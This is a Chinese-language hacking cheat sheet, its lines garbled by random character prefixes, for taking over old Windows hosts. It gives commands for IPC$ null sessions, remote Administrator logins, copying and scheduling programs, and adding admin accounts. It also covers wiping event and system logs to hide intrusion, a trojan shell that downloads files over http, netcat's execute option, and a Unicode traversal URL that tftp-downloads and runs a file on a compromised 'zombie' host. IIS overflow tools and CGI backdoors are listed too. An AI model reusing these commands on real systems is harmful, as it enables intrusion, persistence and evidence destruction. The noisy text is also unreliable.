网管和黑客都必须知道的命令
-"JmQ Fha 常用的几条NET命令：
vu^mLc 0m*b9+ q （与远程主机建立空管连接） net use \\IP地址\ipc$ "" /use:""
p{LbTjdNc &T0] tzk*, （以管理员身份登录远程主机） net use \\IP地址\ipc$ "密码" /use:"Administrator"
6wWhM&Wd YlbX_h2S" （传送文件到远程主机WINNT目录下）copy 本机目录路径\程序 \\IP地址\admin$
9GCK3 )G^k$ j （查看远程主机时间） net time \\IP地址
] -{ fr+ e(
@< /W （定时启动某个程序） at \\IP地址 02:18 readme.exe
>\<eR]12 Y` ]P& y （查看共享） net view \\IP地址
Y=G`~2 Pr= b:hta\%/2 （查看netbios工作组列表） nbtstat -A IP地址
dLb$3!3 _3 oo%?} （将远程主机C盘映射为自己的F盘） net use f: \\IP地址\c$ ""/user:"Administrator"
V ED~v#.c *w(n% f （这两条把自己增加到管理员组）： net user 用户名 密码 /add
t :YZua P8By ~f32_ net localgroup Administrators 用户名 /add
;xz_H$g 4>V@+#Ec5 （断开连接） net use \\IP地址\ipc$ /delete
5wx~QV=Hh 7{O
iV}]" 扫尾：
Z8bg5% u3O@ccJ; del C:\winnt\system32\logfiles\*.*
Xzg >/w
8J )2Sh oFF del C:\winnt\ssytem32\config\*.evt
iT Aj$ { > ?.<
Qgd del C:\winnt\system32\dtclog\*.*
bHRn}K+<}c xJ{ r9~ del C:\winnt\system32\*.log
W;7$Dq: iu8Q &Us0P del C:\winnt\system32\*.txt
96~y\X@x lPxhqF5pP del C:\winnt\*.txt
T})q/oUqK "o`?-bQ: del C:\winnt\*.log
iQ:eR]7X <dP \vLH_ 一、netsvc.exe
ef '?O &gr 8;O:0 下面的命令分别是列出主机上的服务项目、查寻和远程启动主机的“时间任务”服务：
"A+7G5 Ot-P
J
i netsvc /list \\IP地址
o[_,r]%+D J? J4<l9 netsvc schedule \\IP地址 /query
X\Zan$oi K\%\p$ZD netsvc \\IP地址 schedule /start
GIE QD$vy & tT6.@kH 二、OpenTelnet.exe
` WL3aI": ZYWG P:Y 远程启动主机的Telnet服务，并绑定端口到7878，例如：
& v((tZ i *:QbMb OpenTelnet \\IP地址 用户名 密码 1 7878
JRz) A4P N9G xJ6 然后就可以telnet到主机的7878端口，进入DOS方式下：
.lb]Xa*n 1T|")D telnet IP地址 7878
`B3-#!2X Iz u____ 三、winshell.exe
d"?"(Q_8 n m85Z cyW1T 一个非常小的木马（不到6K），telnet到主机的7878端口，输入密码winshell，当看到CMD>后，可打下面的命令：
}hg=#* myX&Z F_9 p Path （查看winshell主程序的路径信息）
Q >[>{N&\ V;S V0~& b reBoot （重新启动机器）
[XI : Yf bi+M2 8m d shutDown （关闭机器）
aQL0S j:, :$K=LV#Iru s Shell （执行后你就会看到可爱的“C:\>”）
A+Isk{d td%J.&K_*' x eXit （退出本次登录会话，此命令并不终止winshell的运行）
RRS)7fFm D`^wj FF CMD>
http://.../srv.exe （通过http下载其他网站上的文件到运行winshell的机器上）
M&/4SVBF Q ]TZyk 四、3389登陆器，GUI方式登录远程主机的
tK UW | 8mWR=9fs 五、elsave.exe
akr2Os :]F66dh+ 事件日志清除工具
WcSvw \K\eq>@ 6 elsave -s \\IP地址 -l "application" -C
R7(XDX=[ s &PV%=/ -J elsave -s \\IP地址 -l "system" -C
"$(D7yFO tL;.vRx elsave -s \\IP地址 -l "security" -C
;yN Y/ v]on0Pi! 执行后成功清除应用程序日志，系统日志，安全日志
.-HM{6J iYT?6Y|+ 六、hbulot.exe
)tJaw#Mih Ln&~t(7 开启win2kserver和winxp的3389服务
Z+U -+eG ',`Qx{tQ) hbulot [/r]
u VD^X* qB_s<cpn> 使用/r表示安装完成后自动重起目标使设置生效。
~
i+XVo [>dDRsZ 七、nc.exe(netcat.exe)
`` g X);'[/]E* 一个很好的工具，一些脚本程序都要用到它，也可做溢出后的连接用。
>>J$`0kM* /_J{JGp9 想要连接到某处: nc [-options] hostname port[s] [ports] ...
rWJ5C\R
o?/H<k\5 绑定端口等待连接: nc -l -p port [-options] [hostname] [port]
`] l` t"x B <BS^wa U 参数:
0/DO"pnL@ EgPL+qL -e prog 程序重定向，一旦连接，就执行 [危险!!]
~Sb)i f C1_0 9Vc -g gateway source-routing hop point[s], up to 8
[7 P C\ 6 M:?W " -G num source-routing pointer: 4, 8, 12, ...
1 SS1P0Ur 6;Z`9PGp -h 帮助信息
Y J ,"@n_ iNkN'(" -i secs 延时的间隔
| X1axRO 'L3MHTM>[ -l 监听模式，用于入站连接
a_+3, fP G|nBja8vm -n 指定数字的IP地址，不能用hostname
_/Ve~(
" BJ3<"D{.*4 -o file 记录16进制的传输
O,
eoO,gB )b]!IP3 -p port 本地端口号
$}b)EMMM V-(]L:[JQ -r 任意指定本地及远程端口
Z > g&%3j l* hWws[ -s addr 本地源地址
2>X yrG Zl9 -u UDP模式
d`V.i6u UZFs ]z!,k -v 详细输出——用两个-v可得到更详细的内容
o<lmU8xB= +UOVD:G -w secs timeout的时间
4Dzg r,V
"[]oWPOj -z 将输入输出关掉——用于扫描时
{ly <%Q7j 八、TFTPD32.EXE
]m`:T MkG Q 把自己的电脑临时变为一台FTP服务器，让肉鸡来下载文件，tftp命令要在肉鸡上执行，通常要利用Unicode漏洞或telnet到肉鸡，例如：
^NX;z c 1!)'dL0mI http://IP地址/s cripts/..%255c..%255c/winnt/system32/cmd.exe?/c tftp -i 本机IP地址 get 文件名 c:\winnt\system32\文件名
4KxuSI^q y y/'B:g 然后可以直接令文件运行：
u!~kmIa4 Ppl :_Of http://IP地址/s cripts/..%255c..%255c/winnt/system32/cmd.exe?/c+文件名
j|[$P4w}U F|+B8&-v 九、prihack.exe是IIS的printer远程缓冲区溢出工具。idqover.exe是溢出idq的，选择“溢出后在一个端口监听”，然后用telnet连接它的监听端口，如果溢出成功，一连它的端口，绑定的命令马上执行。xploit.exe是一个图形界面的ida溢出，成功以后winxp下需要打winxp。
_nz_.w0H9 ,< P"\W 一○、ntis.exe、cmd.exe和cmdasp.asp是三个cgi-backdoor，exe要放到cgi-bin目录下，asp放到有ASP执行权限的目录。然后用IE浏览器连接。
yph@H !@ aJ=)5%$6kc 一、一 Xscan命令行运行参数说明：
`Mg3P_}= l v:GiA"X 在检测过程中，按"[空格]"键可以查看各线程状态及扫描进度，按"q"键保存当前数据后提前退出程序，按"<ctrl+c>"强行关闭程序。
'z}9BGR !
ZaaBg 1.命令格式: xscan -host <起始IP>[-<终止IP>] <检测项目> [其他选项]
4w9=z, d5L BL'/o xscan -file <主机列表文件名> <检测项目> [其他选项]
,f)+| ?wz X6B, Mply 其中<检测项目> 含义如下:
Qh8pOUD0l} ex~"M&^ -port : 检测常用服务的端口状态(可通过\dat\config.ini文件的"PORT-SCAN-OPTIONS\PORT-LIST"项定制待检测端口列表)；
}U>K>"AZl 0 5?`W&:9 -ftp : 检测FTP弱口令(可通过\dat\config.ini文件设置用户名/密码字典文件)；
/YPG_,lRA D0bpD -ntpass : 检测NT-Server弱口令(可通过\dat\config.ini文件设置用户名/密码字典文件)；
]Q.S Is &m36h`tM -cgi : 检测CGI漏洞(可通过\dat\config.ini文件的"CGI-ENCODE\encode_type"项设置编码方案)；
T; [T` d, i4WKp -iis : 检测IIS漏洞(可通过\dat\config.ini文件的"CGI-ENCODE\encode_type"项设置编码方案)；
C %<Dq0j aLLI\3 [其他选项] 含义如下:
uIO?4\s&G z" z$.c -v: 显示详细扫描进度
=ePwGm1:c z7 ?SuJ -p: 跳过Ping不通的主机
-@w}}BR X xwcvE -o: 跳过没有检测到开放端口的主机
c CZ$ TH #sF#<nHZ -t <并发线程数量[,并发主机数量]>: 指定最大并发线程数量和并发主机数量, 默认数量为100,10
